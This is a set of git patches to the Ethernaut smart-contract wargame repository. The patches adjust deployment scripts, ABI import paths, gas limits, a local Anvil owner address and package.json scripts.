web3; let ethernaut; diff --git a/client/scripts/supersede_level.mjs b/client/scripts/supersede_level.mjs index 96e0e4963..50193bc63 100644 --- a/client/scripts/supersede_level.mjs +++ b/client/scripts/supersede_level.mjs @@ -5,11 +5,11 @@ import HDWalletProvider from "@truffle/hdwallet-provider"; import Web3 from "web3"; import * as ethutil from "../src/utils/ethutil.js"; import * as constants from "../src/constants.js"; -import * as EthernautABI from "contracts/out/Ethernaut.sol/Ethernaut.json" assert { type: "json" }; -import * as ProxyStatsABI from "contracts/out/ProxyStats.sol/ProxyStats.json" assert { type: "json" }; -import * as ProxyAdminABI from "contracts/out/ProxyAdmin.sol/ProxyAdmin.json" assert { type: "json" }; -import * as ImplementationABI from "contracts/out/Statistics.sol/Statistics.json" assert { type: "json" }; -import * as SupersederImplementationABI from "contracts/out/StatisticsLevelSuperseder.sol/StatisticsLevelSuperseder.json" assert { type: "json" }; +import * as EthernautABI from "../src/contracts/out/Ethernaut.sol/Ethernaut.json" assert { type: "json" }; +import * as ProxyStatsABI from "../src/contracts/out/ProxyStats.sol/ProxyStats.json" assert { type: "json" }; +import * as ProxyAdminABI from "../src/contracts/out/ProxyAdmin.sol/ProxyAdmin.json" assert { type: "json" }; +import * as ImplementationABI from "../src/contracts/out/Statistics.sol/Statistics.json" assert { type: "json" }; +import * as SupersederImplementationABI from "../src/contracts/out/StatisticsLevelSuperseder.sol/StatisticsLevelSuperseder.json" assert { type: "json" }; import gamedata from "../src/gamedata/gamedata.json" assert { type: "json" }; const levels = gamedata.levels; @@ -201,7 +201,7 @@ async function deployAndUpgradeStatisticsToStatisticsSuperseder() { const props = { gasPrice: parseInt(await web3.eth.getGasPrice() * 1.10), - gas: 45000000, + gas: 30000000, }; let from = constants.ADDRESSES[constants.ACTIVE_NETWORK.name]; if (!from) from = (await web3.eth.getAccounts())[0]; diff --git a/client/src/constants.js b/client/src/constants.js index f3f1bc6ee..3fd40a58b 100644 --- a/client/src/constants.js +++ b/client/src/constants.js @@ -148,7 +148,7 @@ export const GOOGLE_ANALYTICS_ID = "UA-85043059-4"; // Owner addresses export const ADDRESSES = { - [NETWORKS.LOCAL.name]: undefined, + [NETWORKS.LOCAL.name]: "0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266", [NETWORKS.MUMBAI.name]: "0x09902A56d04a9446601a0d451E07459dC5aF0820", [NETWORKS.SEPOLIA.name]: "0x09902A56d04a9446601a0d451E07459dC5aF0820", [NETWORKS.OPTIMISM_SEPOLIA.name]: "0x09902A56d04a9446601a0d451E07459dC5aF0820", diff --git a/client/src/utils/ethutil.js b/client/src/utils/ethutil.js index a9465345f..d01ab48dd 100644 --- a/client/src/utils/ethutil.js +++ b/client/src/utils/ethutil.js @@ -18,7 +18,7 @@ export const getTruffleContract = (jsonABI, defaults = {}) => { // // With this, MetaMask v9 deprecation warnings are removed. // const TruffleContract = require('@truffle/contract'); - const truffleContract = TruffleContract({ abi: jsonABI.abi }); + const truffleContract = TruffleContract({ abi: jsonABI.abi, bytecode: jsonABI.bytecode.object }); if (!defaults.gasPrice) defaults.gasPrice = 2000000000; if (!defaults.gas) defaults.gas = 2000000; truffleContract.defaults(defaults); diff --git a/package.json b/package.json index 5d0107f00..3b94465a9 100644 --- a/package.json +++ b/package.json @@ -19,7 +19,7 @@ "deploy:contracts": "yarn compile:contracts && node --experimental-json-modules client/scripts/deploy_contracts.mjs", "upgrade:proxy": "yarn compile:contracts && node --experimental-json-modules client/scripts/upgrade_proxy.mjs", "supersede:level": "yarn compile:contracts && node --experimental-json-modules client/scripts/supersede_level.mjs", - "network": "cd contracts && anvil", + "network": "cd contracts && anvil --block-time 1 --auto-impersonate", "build:ethernaut": "yarn compile:contracts && yarn --cwd client build", "build:netlify": "yarn --cwd client build", "start:ethernaut": "cd client && yarn start", From 3432dcaffd3cc2c88dd3318bfd2bdd20c6cca8dc Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Fri, 22 Mar 2024 14:48:27 -0500 Subject: [PATCH 35/35] =?UTF-8?q?=E2=9E=96=20remove=20duplicate=20command?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- package.json | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/package.json b/package.json index 3b94465a9..c73eb9f6a 100644 --- a/package.json +++ b/package.json @@ -14,7 +14,7 @@ "**/highlight.js": "10.7.2-local" }, "scripts": { - "test": "cd contracts && forge test", + "test:contracts": "cd contracts && forge test", "compile:contracts": "cd contracts && forge build", "deploy:contracts": "yarn compile:contracts && node --experimental-json-modules client/scripts/deploy_contracts.mjs", "upgrade:proxy": "yarn compile:contracts && node --experimental-json-modules client/scripts/upgrade_proxy.mjs", @@ -23,7 +23,6 @@ "build:ethernaut": "yarn compile:contracts && yarn --cwd client build", "build:netlify": "yarn --cwd client build", "start:ethernaut": "cd client && yarn start", - "test:contracts": "cd contracts && forge test", "leaderboard:oldCrawler": "node client/leaderboard/scripts/crawlers/crawlHistoricalData/index.cjs", "leaderboard:newCrawler": "node client/leaderboard/scripts/crawlers/crawlNewData/index.cjs", "leaderboard:triggerNextCrawl": "node client/leaderboard/scripts/actuate/index.cjs"